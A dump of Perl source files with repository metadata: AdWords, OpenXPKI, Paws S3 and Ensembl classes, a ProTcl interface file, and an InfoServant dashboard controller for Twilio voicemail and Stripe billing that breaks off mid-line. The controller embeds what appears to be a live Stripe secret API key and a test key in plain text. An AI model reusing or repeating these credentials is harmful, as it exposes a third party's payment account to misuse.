code
stringlengths
2
1.05M
repo_name
stringlengths
5
101
path
stringlengths
4
991
language
stringclasses
3 values
license
stringclasses
5 values
size
int64
2
1.05M
package Google::Ads::AdWords::v201809::PromotionExtensionOccasion; use strict; use warnings; sub get_xmlns { 'https://adwords.google.com/api/adwords/cm/v201809'}; # derivation by restriction use base qw( SOAP::WSDL::XSD::Typelib::Builtin::string); 1; __END__ =pod =head1 NAME =head1 DESCRIPTION Perl data type class for the XML Schema defined simpleType PromotionExtensionOccasion from the namespace https://adwords.google.com/api/adwords/cm/v201809. The occasion of a promotion extension. This clase is derived from SOAP::WSDL::XSD::Typelib::Builtin::string . SOAP::WSDL's schema implementation does not validate data, so you can use it exactly like it's base type. # Description of restrictions not implemented yet. =head1 METHODS =head2 new Constructor. =head2 get_value / set_value Getter and setter for the simpleType's value. =head1 OVERLOADING Depending on the simple type's base type, the following operations are overloaded Stringification Numerification Boolification Check L<SOAP::WSDL::XSD::Typelib::Builtin> for more information. =head1 AUTHOR Generated by SOAP::WSDL =cut
googleads/googleads-perl-lib
lib/Google/Ads/AdWords/v201809/PromotionExtensionOccasion.pm
Perl
apache-2.0
1,129
# OpenXPKI::Server::Workflow::Condition::Connector::IsValue # Written by Oliver Welter for the OpenXPKI Project 2012 # Copyright (c) 2012 by The OpenXPKI Project package OpenXPKI::Server::Workflow::Condition::Connector::IsValue; use strict; use warnings; use base qw( OpenXPKI::Server::Workflow::Condition ); use Workflow::Exception qw( condition_error configuration_error ); use OpenXPKI::Server::Context qw( CTX ); use Data::Dumper; use OpenXPKI::Debug; sub _evaluate { ##! 1: 'start' my ( $self, $workflow ) = @_; my $context = $workflow->context(); my $path = $self->param('config_path'); my $delimiter = $self->param('delimiter') || '\.'; if ($delimiter eq '.') { $delimiter = '\.'; } my @path = split $delimiter, $path; ##! 16: 'Delimiter: '.$delimiter.', Plain Path ' . $path ##! 16: 'Path splitted ' . Dumper \@path my $value = CTX('config')->get( \@path ); my $expected = $self->param('value'); CTX('log')->application()->debug("Check IsValue '$value' != '$expected'"); if ($value != $expected ) { ##! 16: " Values differ - expected: $expected, found: $value " condition_error("I18N_OPENXPKI_SERVER_WORKFLOW_CONDITION_CONNECTOR_IS_VALUE"); } ##! 32: sprintf ' Values match - expected: %s, found: %s ', $expected , $value return 1; } 1; __END__ =head1 NAME OpenXPKI::Server::Workflow::Condition::Connector::IsValue =head1 SYNOPSIS config_path: path|of|the|node.with.dots delimiter: | value: checkme =head1 DESCRIPTION This condition looks up the value at config_path from the connector and checks weather the returned value is equal to the given value.
stefanomarty/openxpki
core/server/OpenXPKI/Server/Workflow/Condition/Connector/IsValue.pm
Perl
apache-2.0
1,675
package Paws::S3::DeleteObjectTagging; use Moose; has Bucket => (is => 'ro', isa => 'Str', uri_name => 'Bucket', traits => ['ParamInURI'], required => 1); has Key => (is => 'ro', isa => 'Str', uri_name => 'Key', traits => ['ParamInURI'], required => 1); has VersionId => (is => 'ro', isa => 'Str', query_name => 'versionId', traits => ['ParamInQuery']); use MooseX::ClassAttribute; class_has _api_call => (isa => 'Str', is => 'ro', default => 'DeleteObjectTagging'); class_has _api_uri => (isa => 'Str', is => 'ro', default => '/{Bucket}/{Key+}?tagging'); class_has _api_method => (isa => 'Str', is => 'ro', default => 'DELETE'); class_has _returns => (isa => 'Str', is => 'ro', default => 'Paws::S3::DeleteObjectTaggingOutput'); class_has _result_key => (isa => 'Str', is => 'ro'); 1; ### main pod documentation begin ### =head1 NAME Paws::S3::DeleteObjectTagging - Arguments for method DeleteObjectTagging on Paws::S3 =head1 DESCRIPTION This class represents the parameters used for calling the method DeleteObjectTagging on the Amazon Simple Storage Service service. Use the attributes of this class as arguments to method DeleteObjectTagging. You shouldn't make instances of this class. Each attribute should be used as a named argument in the call to DeleteObjectTagging. As an example: $service_obj->DeleteObjectTagging(Att1 => $value1, Att2 => $value2, ...); Values for attributes that are native types (Int, String, Float, etc) can passed as-is (scalar values). Values for complex Types (objects) can be passed as a HashRef. The keys and values of the hashref will be used to instance the underlying object. =head1 ATTRIBUTES =head2 B<REQUIRED> Bucket => Str =head2 B<REQUIRED> Key => Str =head2 VersionId => Str The versionId of the object that the tag-set will be removed from. =head1 SEE ALSO This class forms part of L<Paws>, documenting arguments for method DeleteObjectTagging in L<Paws::S3> =head1 BUGS and CONTRIBUTIONS The source code is located here: https://github.com/pplu/aws-sdk-perl Please report bugs to: https://github.com/pplu/aws-sdk-perl/issues =cut
ioanrogers/aws-sdk-perl
auto-lib/Paws/S3/DeleteObjectTagging.pm
Perl
apache-2.0
2,142
=head1 LICENSE Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. =cut =head1 CONTACT Please email comments or questions to the public Ensembl developers list at <http://lists.ensembl.org/mailman/listinfo/dev>. Questions may also be sent to the Ensembl help desk at <helpdesk.org>. =cut use strict; use warnings; package dbSNP::DBManager; use Bio::EnsEMBL::Registry; # A class that keeps the DBAdaptors sub new { my $class = shift; my $registryfile = shift; my $species = shift; my $schema = shift; ##for postgresSQL my $registry = 'Bio::EnsEMBL::Registry'; $registry->load_all( $registryfile ); my $ref; $ref->{'registryfile'} = $registryfile; $ref->{'registry'} = $registry; $ref->{'species'} = $species; $ref->{'bulk_insert_buffer_size'} = (512 * 1024 * 1024); $ref->{'schema_name'} = $schema if defined $schema; return bless($ref,$class); } sub dbSNP_shared { my $self = shift; my $shared = shift; if (defined($shared)) { $self->{'dbSNP_shared'} = $shared; } return $self->{'dbSNP_shared'}; } sub dbSNP { my $self = shift; my $adaptor = $self->get_dbAdaptor('dbsnp'); if(defined $self->{'schema_name'} && $self->{'schema_name'} =~/\w+/){ print "setting search path for postgreSQL: " .$self->{'schema_name'} . ", " . $self->{'dbSNP_shared'} ."\n"; my $sth = "SET search_path TO $self->{'schema_name'},$self->{'dbSNP_shared'},public"; $adaptor->dbc()->do($sth); } return $adaptor; } sub dbVar { my $self = shift; return $self->get_dbAdaptor('variation'); } sub dbCore { my $self = shift; return $self->get_dbAdaptor('core'); } sub dbInt { my $self = shift; return $self->get_dbAdaptor('intvar', 'multi'); } sub get_dbAdaptor { my $self = shift; my $type = shift; my $species = shift || $self->{'species'}; if (!defined($self->{$type})) { my $dba = $self->{'registry'}->get_DBAdaptor($species,$type) or die ("Could not get DBadaptor to $type database"); #$dba->dbc->disconnect_when_inactive(1); $dba->dbc->{mysql_auto_reconnect} = 1; # If we opened a new connection to the variation db, set the insert buffer size if ($type eq 'variation') { # Set some variables on the MySQL server that can speed up table read/write/loads my $stmt = qq{ SET SESSION bulk_insert_buffer_size=$self->{'bulk_insert_buffer_size'} }; $dba->dbc->do($stmt); } $self->{$type} = $dba; } return $self->{$type}; } sub registryfile { my $self = shift; return $self->{'registryfile'}; } sub registry { my $self = shift; return $self->{'registry'}; } sub species { my $self = shift; return $self->{'species'}; } ## for postgreSQL sub schema { my $self = shift; return $self->{'schema'}; } 1;
dbolser/ensembl-variation
scripts/import/dbSNP/DBManager.pm
Perl
apache-2.0
3,393
=head1 LICENSE Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute Copyright [2016] EMBL-European Bioinformatics Institute Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. =cut =head1 CONTACT Please email comments or questions to the public Ensembl developers list at <http://lists.ensembl.org/mailman/listinfo/dev>. Questions may also be sent to the Ensembl help desk at <http://www.ensembl.org/Help/Contact>. =cut =head1 NAME Bio::EnsEMBL::ProjectionSegment - part of the list that is returned from project function calls =head1 SYNOPSIS $slice = $sa->fetch_by_region( 'chromosome', 'X', 1_000_000, 2_000_000 ); my $projection = $slice->project("clone"); foreach my $projection_segment (@$projection) { print( " from_start ", $projection_segment->from_start(), "\n" ); print( " from_end ", $projection_segment->from_end(), "\n" ); print( " to_Slice ", $projection_segment->to_Slice()->name(), "\n" ); } =head1 DESCRIPTION The ProjectionSegment is a helper object to make the arrays returned by project more accessible. Instead of writing $segment->[0], $segment->[1] or $segment->[2] its possible to use the more descriptive notation of $segment->from_start(), $segement->from_end(), $segment->to_Slice(). =head1 METHODS =cut package Bio::EnsEMBL::ProjectionSegment; use strict; use warnings; # # WARNING: THIS CLASS IS REPRESENTED BY A BLESSED ARRAY REFERENCE # NOT A HASH REFERENCE # =head2 from_start Args : none Example : $coord_in_fetaure_start = $segment->from_start() Description: First element in projects returned segment lists Returntype : int Exceptions : none Caller : general Status : Stable =cut sub from_start { my $self = shift; return $self->[0]; } =head2 from_end Args : none Example : $coord_in_feature_end = $segment->from_end() Description: Second element in projects returned segment lists Returntype : int Exceptions : none Caller : general Status : Stable =cut sub from_end { my $self = shift; return $self->[1]; } =head2 to_Slice Args : none Example : $target_slice = $segment->to_Slice() Description: Third element in projects returned segment lists Returntype : Bio::EnsEMBL::Slice Exceptions : none Caller : general Status : Stable =cut sub to_Slice { my $self = shift; return $self->[2]; } 1;
danstaines/ensembl
modules/Bio/EnsEMBL/ProjectionSegment.pm
Perl
apache-2.0
2,947
% % ProTcl 1.0 % % Definitions common to Quintus-like foreign language interface % % Author: Micha Meier % Date: September 93 % % % sccsid("@(#)foreign.pl 1.8 96/01/02"). % sccscr("@(#) Copyright 1993 ECRC GmbH "). % :- ensure_loaded(string_utils). :- ensure_loaded(dirs). foreign_file('tk.o', [tk_init, tk_option]). foreign_file('protcl.o', [tk_clear_options, tcl_eval_string, tk_num_main_windows, tk_do_one_event_atom, input_ready]). foreign(tk_init, c, tk_init(+string)). foreign(tk_clear_options, c, tk_clear_options). foreign(tk_option, c, tk_option(+string, +string)). foreign(tcl_eval_string, c, tcl_eval_string(+string, -string, [-integer])). foreign(tk_num_main_windows, c, tk_num_main_windows([-integer])). %% This returns in one atom the whole Tcl event list foreign(tk_do_one_event_atom, c, tk_do_one_event_atom(+integer, [-string])). foreign(input_ready, c, input_ready(+integer, [-integer])). :- tcl_library(TclLib), tk_library(TkLib), protcl_source(Pro), xlibsw(XLib), concat_atoms('-L', TclLib, TC), concat_atoms('-L', TkLib, TK), concat_atoms(Pro, '/libinit.a', Init), concat_atoms('-L', XLib, XL), load_foreign_files( ['tk.o', 'protcl.o'], [Init, TC, TK, '-ltk4.0 -ltcl7.4 -lm', XLib] ).
leuschel/ecce
www/CiaoDE/ciao/library.development/proTcXl2.1/foreign.pl
Perl
apache-2.0
1,561
package InfoServant::Dashboard; use Mojo::Base 'Mojolicious::Controller'; use SiteCode::Exception; use SiteCode::Account; use SiteCode::DBX; use SiteCode::Twilio; use JSON; sub show { my $self = shift; if (!$self->session->{account_id}) { my $url = $self->url_for('/'); return($self->redirect_to($url)); } my $account_sid = SiteCode::DBX->new()->col("select AccountSid from account where account.id = ?", undef, $self->session->{account_id}); my $internal_nbr = SiteCode::DBX->new()->col("select int_nbr.number as interal_nbr from account, int_nbr where account.id = int_nbr.account_id AND account.id = ?", undef, $self->session->{account_id}); my $external_nbr = SiteCode::DBX->new()->col("select ext_nbr.number as external_nbr from account, ext_nbr where account.id = ext_nbr.account_id AND account.id = ?", undef, $self->session->{account_id}); my $stripe_code = SiteCode::DBX->new()->col("select stripe_code from account where account.id = ?", undef, $self->session->{account_id}); $self->stash("account_sid", $account_sid); $self->stash("internal_nbr", $internal_nbr); $self->stash("external_nbr", $external_nbr); $self->stash("stripe_code", $stripe_code); $self->render(); } sub delete_voicemail { my $self = shift; if (!$self->session->{account_id}) { return($self->render_json(json => { success => 0, error => "Session has expired."})); } my $recording_sid = $self->param("recording_sid"); if (!$recording_sid) { return($self->render_json(json => { success => 0, error => "Unable to process voicemail."})); } my $dbx = SiteCode::DBX->new(); my $account_sid = $dbx->col("select AccountSid from account where account.id = ?", undef, $self->session->{account_id}); my $twilio = SiteCode::Twilio->new(); my $err = $twilio->delete_recording(account_id => $self->session->{account_id}, recording_sid => $recording_sid); unless ($err) { my $sql_recording = qq( select pl.inserted, pl.id as phone_log_id, pv_rec_sid.id as pv_rec_sid_id, pv_rec_sid.phone_value as RecordingSid from phone_log pl, account, int_nbr, phone_key pk_rec_sid, phone_value pv_rec_sid, phone_key pk_sid, phone_value pv_sid where pl.called = int_nbr.number and account_id = ? and account.id = int_nbr.account_id and pl.id = pk_rec_sid.phone_log_id and pk_rec_sid.id = pv_rec_sid.phone_key_id and pk_rec_sid.phone_key = 'RecordingSid' and pv_rec_sid.phone_value = ? and pl.id = pk_sid.phone_log_id and pk_sid.id = pv_sid.phone_key_id and pk_sid.phone_key = 'AccountSid' and pv_sid.phone_value = ? ); my $recording = $dbx->row($sql_recording, undef, $self->session->{account_id}, $recording_sid, $account_sid); $dbx->do("INSERT INTO phone_key (phone_log_id, phone_key) VALUES (?, ?)", undef, $$recording{phone_log_id}, "PhoneAdvDeletedRecordingSid"); my $phone_key_id = $dbx->dbh->last_insert_id(undef,undef,"phone_key",undef); $dbx->do("INSERT INTO phone_value (phone_key_id, phone_value) VALUES (?, ?)", undef, $phone_key_id, $recording_sid); $dbx->do("UPDATE phone_value SET phone_value = 'DELETED' where id = ?", undef, $$recording{pv_rec_sid_id}); } return($self->render(json => { success_msg => "Voicemail was deleted", success => ("" eq $err ? 1 : 0), error => $err })); } sub voicemail { my $self = shift; my $internal_nbr = SiteCode::DBX->new()->col("select int_nbr.number as interal_nbr from account, int_nbr where account.id = int_nbr.account_id AND account.id = ?", undef, $self->session->{account_id}); my $external_nbr = SiteCode::DBX->new()->col("select ext_nbr.number as external_nbr from account, ext_nbr where account.id = ext_nbr.account_id AND account.id = ?", undef, $self->session->{account_id}); my $account_sid = SiteCode::DBX->new()->col("select AccountSid from account where account.id = ?", undef, $self->session->{account_id}); my $cur_page = $self->param("cur_page") || 0; my $skip = $cur_page * 10; my $sql_recordings = qq( select pl.inserted, pv_url.phone_value as url, pv_rec_sid.phone_value as RecordingSid, pv_from.phone_value as val_from, pv_to.phone_value as val_to from phone_log pl, account, int_nbr, phone_key pk_url, phone_value pv_url, phone_key pk_rec_sid, phone_value pv_rec_sid, phone_key pk_from, phone_value pv_from, phone_key pk_to, phone_value pv_to, phone_key pk_sid, phone_value pv_sid where pl.called = int_nbr.number and account_id = ? and account.id = int_nbr.account_id and pl.id = pk_url.phone_log_id and pk_url.id = pv_url.phone_key_id and pk_url.phone_key = 'RecordingUrl' and pl.id = pk_rec_sid.phone_log_id and pk_rec_sid.id = pv_rec_sid.phone_key_id and pk_rec_sid.phone_key = 'RecordingSid' and pv_rec_sid.phone_value != 'DELETED' and pl.id = pk_from.phone_log_id and pk_from.id = pv_from.phone_key_id and pk_from.phone_key = 'From' and pl.id = pk_to.phone_log_id and pk_to.id = pv_to.phone_key_id and pk_to.phone_key = 'To' and pl.id = pk_sid.phone_log_id and pk_sid.id = pv_sid.phone_key_id and pk_sid.phone_key = 'AccountSid' and pv_sid.phone_value = ? order by pl.inserted desc limit 10 offset $skip ); my $recordings = SiteCode::DBX->new()->array($sql_recordings, undef, $self->session->{account_id}, $account_sid); my $tr = ""; my $count = $skip; foreach my $rec (@$recordings) { my $url = $$rec{url}; my $from = $$rec{val_from}; my $to = $$rec{val_to}; my $whence = $$rec{inserted}; my $RecordingSid = $$rec{RecordingSid}; next unless $to eq $internal_nbr; my $delete = $RecordingSid ? qq(<a href=javascript:void(0) onClick="deleteRecording('$RecordingSid')"><span class="label label-info">Delete</span></a>) : ""; my $download = qq(<a href=$url><span class="label label-info">Download</span></a>); my $audio = qq( <audio style="vertical-align: bottom" preload="none" src="$url" type="audio/mp3" controls="controls"></audio> $download $delete</a> ); ++$count; my $js = Mojo::Util::url_escape('$("#call_nbr").val("' . $from . '")'); $tr .= qq(<tr><td>$count</td><td>$whence</td><td><a href="javascript:void(0)" onClick="loadHtml('call_nbr', '$js');">$from</a></td><td>$audio</td></tr>); } my ($prev, $next) = ("", ""); if ($cur_page) { $prev = qq(<li><a href="javascript:void(0)" onClick="onSubmit(\$('#form_voicemail'), -1);">Previous</a></li>); } else { $prev = qq(<li class="disabled"><a href="javascript:void(0)" onClick="onSubmit(\$('#form_voicemail'), -1);">Previous</a></li>); } if (0 == (($count) % 10)) { $next = qq(<li><a href="javascript:void(0)" onClick="onSubmit(\$('#form_voicemail'), 1);">Next</a></li>); } else { $next = qq(<li class="disabled"><a href="javascript:void(0)" onClick="onSubmit(\$('#form_voicemail'), 1);">Next</a></li>); } my $table = ""; if ($tr) { $table = qq( <form id=form_voicemail onsubmit="return onSubmit(this);" class="form-inline"> <input type="hidden" id=cur_page name=cur_page value="$cur_page"> <ul class="pager"> $prev $next </ul> </form> <table class="table table-bordered table-striped table-hover"> <caption>Last few voicemails</caption> <thead> <tr> <th>#</th> <th>Time</th> <th>From</th> <th>Audio</th> </tr> </thead> <tbody> $tr </tbody> </table> <form id=form_voicemail onsubmit="return onSubmit(this);" class="form-inline"> <input type="hidden" id=cur_page name=cur_page value="$cur_page"> <ul class="pager"> $prev $next </ul> </form> ); } else { $table = "<h3>No voicemail found.</h3>"; } $self->stash(last_voicemails => $table); } sub recordings { my $self = shift; my $internal_nbr = SiteCode::DBX->new()->col("select int_nbr.number as interal_nbr from account, int_nbr where account.id = int_nbr.account_id AND account.id = ?", undef, $self->session->{account_id}); my $external_nbr = SiteCode::DBX->new()->col("select ext_nbr.number as external_nbr from account, ext_nbr where account.id = ext_nbr.account_id AND account.id = ?", undef, $self->session->{account_id}); my $account_sid = SiteCode::DBX->new()->col("select AccountSid from account where account.id = ?", undef, $self->session->{account_id}); my $cur_page = $self->param("cur_page") || 0; my $skip = $cur_page * 10; my $sql_recordings = qq( select pl.inserted, pv_url.phone_value as url, pv_from.phone_value as val_from, pv_to.phone_value as val_to from phone_log pl, account, int_nbr, phone_key pk_url, phone_value pv_url, phone_key pk_from, phone_value pv_from, phone_key pk_to, phone_value pv_to, phone_key pk_sid, phone_value pv_sid where pl.called != int_nbr.number and account_id = ? and account.id = int_nbr.account_id and pl.id = pk_url.phone_log_id and pk_url.id = pv_url.phone_key_id and pk_url.phone_key = 'RecordingUrl' and pl.id = pk_from.phone_log_id and pk_from.id = pv_from.phone_key_id and pk_from.phone_key = 'From' and pl.id = pk_to.phone_log_id and pk_to.id = pv_to.phone_key_id and pk_to.phone_key = 'To' and pl.id = pk_sid.phone_log_id and pk_sid.id = pv_sid.phone_key_id and pk_sid.phone_key = 'AccountSid' and pv_sid.phone_value = ? order by pl.inserted desc limit 10 offset $skip ); my $recordings = SiteCode::DBX->new()->array($sql_recordings, undef, $self->session->{account_id}, $account_sid); my $tr = ""; my $count; foreach my $rec (@$recordings) { my $url = $$rec{url}; my $from = $$rec{val_from}; my $to = $$rec{val_to}; my $whence = $$rec{inserted}; next unless $to ne $internal_nbr; my $audio = qq( <audio style="vertical-align: bottom" preload="none" src="$url" type="audio/mp3" controls="controls"></audio> <a href=$url><span class="label label-info">Download</span></a> ); ++$count; $tr .= "<tr><td>$count</td><td>$whence</td><td>$to</to><td>$from</td><td style=\"vertical-align: middle\">$audio</td></tr>"; } my ($prev, $next) = ("", ""); if ($cur_page) { $prev = qq(<li><a href="javascript:void(0)" onClick="onSubmit(\$('#form_voicemail'), -1);">Previous</a></li>); } else { $prev = qq(<li class="disabled"><a href="javascript:void(0)" onClick="onSubmit(\$('#form_voicemail'), -1);">Previous</a></li>); } if (0 == (($count) % 10)) { $next = qq(<li><a href="javascript:void(0)" onClick="onSubmit(\$('#form_voicemail'), 1);">Next</a></li>); } else { $next = qq(<li class="disabled"><a href="javascript:void(0)" onClick="onSubmit(\$('#form_voicemail'), 1);">Next</a></li>); } my $table = ""; if ($tr) { $table = qq( <form id=form_voicemail onsubmit="return onSubmit(this);" class="form-inline"> <input type="hidden" id=cur_page name=cur_page value="$cur_page"> <ul class="pager"> $prev $next </ul> </form> <table class="table"> <caption>Last few voicemails</caption> <thead> <tr> <th>#</th> <th>Time</th> <th>To</th> <th>From</th> <th>Audio</th> </tr> </thead> <tbody> $tr </tbody> </table> <form id=form_voicemail onsubmit="return onSubmit(this);" class="form-inline"> <input type="hidden" id=cur_page name=cur_page value="$cur_page"> <ul class="pager"> $prev $next </ul> </form> ); } else { $table = "<h3>No recordings found.</h3>"; } $self->stash(last_recordings => $table); } sub profile { my $self = shift; =for comment unless($self->param("find_zip") || $self->param("select_int_nbr") || $self->param("validate_external")) { # we have no param, so assume we need to attempt provisioning - like when it's the 1st time setting up the account my $account_sid = SiteCode::DBX->new()->col("select AccountSid from account where account.id = ?", undef, $self->session->{account_id}); my $twilio = SiteCode::Twilio->new(); $twilio->create_account(account_id => $self->session->{account_id}); return(undef); } =cut if ($self->param("find_zip")) { my $twilio = SiteCode::Twilio->new(); my $ret = $twilio->find_numbers(account_id => $self->session->{account_id}, find_zip => $self->param("find_zip")); my $options = ""; my $success = 0; if (ref($ret)) { $success = 1; foreach my $nbr (@{ $ret }) { $options .= qq( <option value="$$nbr{PhoneNumber}">$$nbr{FriendlyName}</option> ); } } elsif ("" eq $ret) { $success = 1; } $self->stash(found_numbers => $options); } elsif ($self->param("retrieve_nbr")) { my $twilio = SiteCode::Twilio->new(); my $ret = $twilio->retrieve_numbers(account_id => $self->session->{account_id}, retrieve_nbr => 1); warn("ret: $ret"); my $options = ""; my $success = 0; if (ref($ret)) { $success = 1; foreach my $nbr (@{ $ret }) { $options .= qq( <option value="$$nbr{PhoneNumber}">$$nbr{FriendlyName}</option> ); } } elsif ("" eq $ret) { $success = 1; } $self->stash(retrieved_numbers => $options); } elsif ($self->param("select_int_nbr")) { my $twilio = SiteCode::Twilio->new(); my $ret = $twilio->assign_number(account_id => $self->session->{account_id}, select_int_nbr => $self->param("select_int_nbr")); if ($ret) { $self->stash(errors => $ret); } else { $self->stash(success => "Assigned number: " . $self->param("select_int_nbr")); } } elsif ($self->param("validate_external")) { my $validate_external = $self->param("validate_external"); $validate_external =~ s/^((1)|(\+1))?/+1/; my $nbr = SiteCode::DBX->new()->row("select number from ext_nbr where number = ?", undef, $validate_external); if ($nbr) { $self->stash(errors => "Number '$validate_external' already taken"); return; } my $twilio = SiteCode::Twilio->new(); my $ret = $twilio->validate_number(account_id => $self->session->{account_id}, validate_external => $self->param("validate_external")); $self->stash(validate_external => $self->param("validate_external")); if ($ret =~ m/validation: (.*)/) { my $code = $1; $self->stash(info => "You will need to enter code: $code"); } elsif ($ret eq "Phone number is already verified.") { SiteCode::DBX->new()->do("INSERT INTO ext_nbr (account_id, number) VALUES (?, ?)", undef, $self->session->{account_id}, $validate_external); $self->stash(info => $ret); } else { $self->stash(errors => $ret); } } elsif ($self->param("process_cc")) { foreach my $param (qw(name number exp_month exp_year cvc)) { my $val = $self->param($param); $self->stash($param => $val); unless ($param =~ m/\w/) { $self->stash(errors => "Need credit card data."); } } unless ($self->stash('errors')) { my $account = SiteCode::DBX->new()->row("select account.* from account where account.id = ?", undef, $self->session->{account_id}); my $req = &HTTP::Request::Common::POST( 'https://api.stripe.com/v1/customers', Content => [ description => $account->{id}, "card[number]" => $self->param("number"), "card[exp_month]" => $self->param("exp_month"), "card[exp_year]" => $self->param("exp_year"), "card[cvc]" => $self->param("cvc"), "card[name]" => $self->param("name"), "email" => $account->{email}, plan => "PHONEADV", ] ); my $ua = LWP::UserAgent->new(); # sk_live_Zn2IctewnvMNbnXBdu5xe1H0 $ua->credentials("api.stripe.com:443", "Stripe", "sk_live_Zn2IctewnvMNbnXBdu5xe1H0", ""); # $ua->credentials("api.stripe.com:443", "Stripe", "sk_test_4TaH9mX7lYqw3FMQeauk1eKc", ""); my $res = $ua->request($req); my $ret = JSON::from_json($res->content()); if ($res->is_success()) { my $id = $ret->{id}; SiteCode::DBX->new()->do("UPDATE account SET stripe_code = ? WHERE id = ?", undef, $id, $account->{id}); $self->stash(success => "Thank you for subscribing."); $self->stash(reload => 1); } else { $self->stash(errors => "Problem was detected running card."); } } } elsif ($self->param("profile_group")) { my $dbx = SiteCode::DBX->new(); my $account = $dbx->row("select account.* from account where account.id = ?", undef, $self->session->{account_id}); my $email_rcpt_voicemail = $self->param("email_rcpt_voicemail"); my $attach_message = $self->param("attach_message"); my $col = $dbx->col("SELECT id from profile where account_id = ?", undef, $$account{id}); if ($col) { $dbx->do("UPDATE profile SET email_rcpt_voicemail = ?, attach_message = ? WHERE account_id = ?", undef, ($email_rcpt_voicemail ? "YES" : undef), ($attach_message ? "YES" : undef), $$account{id}); } else { $dbx->do("INSERT INTO profile (account_id, email_rcpt_voicemail, attach_message) values (?, ?, ?)", undef, $$account{id}, ($email_rcpt_voicemail ? "YES" : undef), ($attach_message ? "YES" : undef)); } } elsif ($self->param("cancel_account")) { my $account = SiteCode::DBX->new()->row("select account.* from account where account.id = ?", undef, $self->session->{account_id}); my $req = &HTTP::Request::Common::DELETE( "https://api.stripe.com/v1/customers/$$account{stripe_code}/subscription", ); my $ua = LWP::UserAgent->new(); $ua->credentials("api.stripe.com:443", "Stripe", "sk_live_Zn2IctewnvMNbnXBdu5xe1H0", ""); # $ua->credentials("api.stripe.com:443", "Stripe", "sk_test_4TaH9mX7lYqw3FMQeauk1eKc", ""); my $res = $ua->request($req); if ($res->is_success()) { SiteCode::DBX->new()->do("UPDATE account SET stripe_code = NULL WHERE id = ?", undef, $$account{id}); $self->stash(success => "Thank you for your service."); $self->stash(reload => 1); } else { $self->stash(success => "Error cancelling: please call support."); } } } sub octocall { my $self = shift; my $sql_octocalls = qq( select octocall.*, octocall_nbr.number, octocall_nbr.num_calls, octocall_nbr.last_call, octocall_nbr.call_status from octocall, octocall_nbr where octocall.account_id = ? and octocall_id = octocall.id order by octocall.inserted desc, call_status ); my $calls = SiteCode::DBX->new()->array($sql_octocalls, undef, $self->session->{account_id}); my %tr = (); foreach my $call (@$calls) { ++$tr{$$call{id}}{count}; $tr{$$call{id}}{name} = $$call{name}; $tr{$$call{id}}{status} = $$call{status}; $tr{$$call{id}}{tr} .= "<tr><td>$tr{$$call{id}}{count}</td><td>$$call{number}</to><td>$$call{last_call}</td><td>$$call{call_status}</td></tr>"; } my $table = ""; if (%tr) { foreach my $k (reverse sort({ $a <=> $b } keys %tr)) { my $name = $tr{$k}{name}; my $status = $tr{$k}{status}; my $tr = $tr{$k}{tr}; $table .= qq( <table class="table"> <caption>OctoCall Log for $name ($status)</caption> <thead> <tr> <th>#</th> <th>Number</th> <th>Last Call</th> <th>Call Status</th> </tr> </thead> <tbody> $tr </tbody> </table> ); } } else { $table = "<h3>No OctoCall logs found.</h3>"; } $self->stash(last_octocalls => $table); } sub infovoice { my $self = shift; my $sql_stop_the_voices = qq( select infovoice.*, infovoice_nbr.number, infovoice_nbr.num_calls, infovoice_nbr.last_call, infovoice_nbr.status as call_status from infovoice, infovoice_nbr where infovoice.account_id = ? and infovoice_id = infovoice.id order by infovoice.inserted desc, call_status ); my $calls = SiteCode::DBX->new()->array($sql_stop_the_voices, undef, $self->session->{account_id}); my %tr = (); foreach my $call (@$calls) { ++$tr{$$call{id}}{count}; $tr{$$call{id}}{name} = $$call{name}; $tr{$$call{id}}{status} = $$call{status}; $tr{$$call{id}}{tr} .= "<tr><td>$tr{$$call{id}}{count}</td><td>$$call{number}</to><td>$$call{last_call}</td><td>$$call{call_status}</td></tr>"; } my $table = ""; if (%tr) { foreach my $k (reverse sort({ $a <=> $b } keys %tr)) { my $name = $tr{$k}{name}; my $status = $tr{$k}{status}; my $tr = $tr{$k}{tr}; $table .= qq( <table class="table"> <caption>InfoVoice Log for $name ($status)</caption> <thead> <tr> <th>#</th> <th>Number</th> <th>Last Call</th> <th>Call Status</th> </tr> </thead> <tbody> $tr </tbody> </table> ); } } else { $table = "<h3>No InfoVoices found.</h3>"; } $self->stash(last_infovoices => $table); } sub retrieve_html { my $self = shift; if (!$self->session->{account_id}) { return($self->render(text => "Session has expired. <a href=http://phoneadvanced.com/login>Login</a>.")); } my $page = $self->param("page"); if ("voicemail" eq $page) { $self->voicemail(); } if ("recordings" eq $page) { $self->recordings(); } if ("profile" eq $page) { $self->profile(); } if ("start_infovoice" eq $page) { $self->infovoice(); } if ("start_octocall" eq $page) { $self->octocall(); } my $account_sid = SiteCode::DBX->new()->col("select AccountSid from account where account.id = ?", undef, $self->session->{account_id}); my $internal_nbr = SiteCode::DBX->new()->col("select int_nbr.number as interal_nbr from account, int_nbr where account.id = int_nbr.account_id AND account.id = ?", undef, $self->session->{account_id}); my $external_nbr = SiteCode::DBX->new()->col("select ext_nbr.number as external_nbr from account, ext_nbr where account.id = ext_nbr.account_id AND account.id = ?", undef, $self->session->{account_id}); my $stripe_code = SiteCode::DBX->new()->col("select stripe_code from account where account.id = ?", undef, $self->session->{account_id}); $self->stash(account_sid => $account_sid); $self->stash(internal_nbr => $internal_nbr); $self->stash(external_nbr => $external_nbr); $self->stash(stripe_code => $stripe_code); my $profile = SiteCode::DBX->new()->row("select profile.* from profile where profile.account_id = ?", undef, $self->session->{account_id}); my $checked = {}; if ($$profile{email_rcpt_voicemail}) { $checked->{email_rcpt_voicemail} = " checked"; } if ($$profile{attach_message}) { $checked->{attach_message} = " checked"; } $self->stash(checked => $checked); # my $html = $self->render(template => "dashboard/$page", partial => 1); return($self->render(template => "dashboard/$page", format => "html")); # return($self->render_json(json => { success => 1, error 